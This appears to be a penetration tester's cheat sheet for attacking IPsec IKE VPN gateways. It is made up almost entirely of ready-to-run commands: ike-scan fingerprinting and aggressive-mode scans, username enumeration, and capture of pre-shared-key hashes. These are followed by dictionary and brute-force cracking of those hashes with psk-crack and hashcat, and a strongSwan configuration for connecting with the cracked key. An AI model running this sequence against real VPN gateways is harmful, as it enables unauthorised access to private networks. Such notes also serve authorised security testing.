IPsec IKE

## ------------------| Basic scan
sudo ike-scan -M <IP>

## ------------------| Aggressive scan
sudo ike-scan -A -M <IP>

## ------------------| Custom Transform Enumeration
# Manually define encryption, hash, auth, and group (e.g., AES-256, SHA1, PSK, DH Group 2)
sudo ike-scan -M --trans=7/256,2,1,2 <IP>

## ------------------| Username Enumeration (Cisco/Nortel)
# Some gateways reveal if a group ID/username is valid in Aggressive Mode
sudo ike-scan -A -M --id=vpnuser <IP>

## ------------------| PSK Hash Capture
sudo ike-scan -A -M --pskcrack=psk_hash.txt <IP>
sudo ike-scan -A -P <IP>

## ------------------| PSK Cracking (Dictionary Attack)
psk-crack -d /usr/share/wordlists/rockyou.txt psk_hash.txt
hashcat psk_hash.txt /usr/share/wordlists/rockyou.txt

## ------------------| PSK Cracking (Brute Force)
psk-crack -b 5 psk_hash.txt

## ------------------| NAT-T (Port 4500) Scanning
# Scans for IKE on the NAT Traversal port
sudo ike-scan -M --port=4500 <IP>

## ------------------| Install StrongsWan
apt-get install strongswan

## ------------------| Edit the /etc/ipsec.secrets (strongSwan IPsec secrets) file
<LHOST> %any : PSK "v+NkxY9LL..<ReplaceThiskey>"

## ------------------| Edit the /etc/ipsec.conf file
conn ConfigNameHere
    type=transport
    keyexchange=<ReplaceIKEVersion>
    authby=psk
    right=<LHOST>
    rightprotoport=tcp # if you want tcp,if not remove this
    leftprotoport=tcp # if you want tcp,if not remove this
    esp=3des-sha1 # we can get this from ike-scan -M AttackerIP | grep 'SA' | awk -F= '{print $3}'
    ike=3des-sha1-modp1024 #we can get this from ike-scan -M AttackerIP | grep 'SA' | awk -F= '{print $5}'
    auto=start

## ------------------| Start service
ipsec start --nofork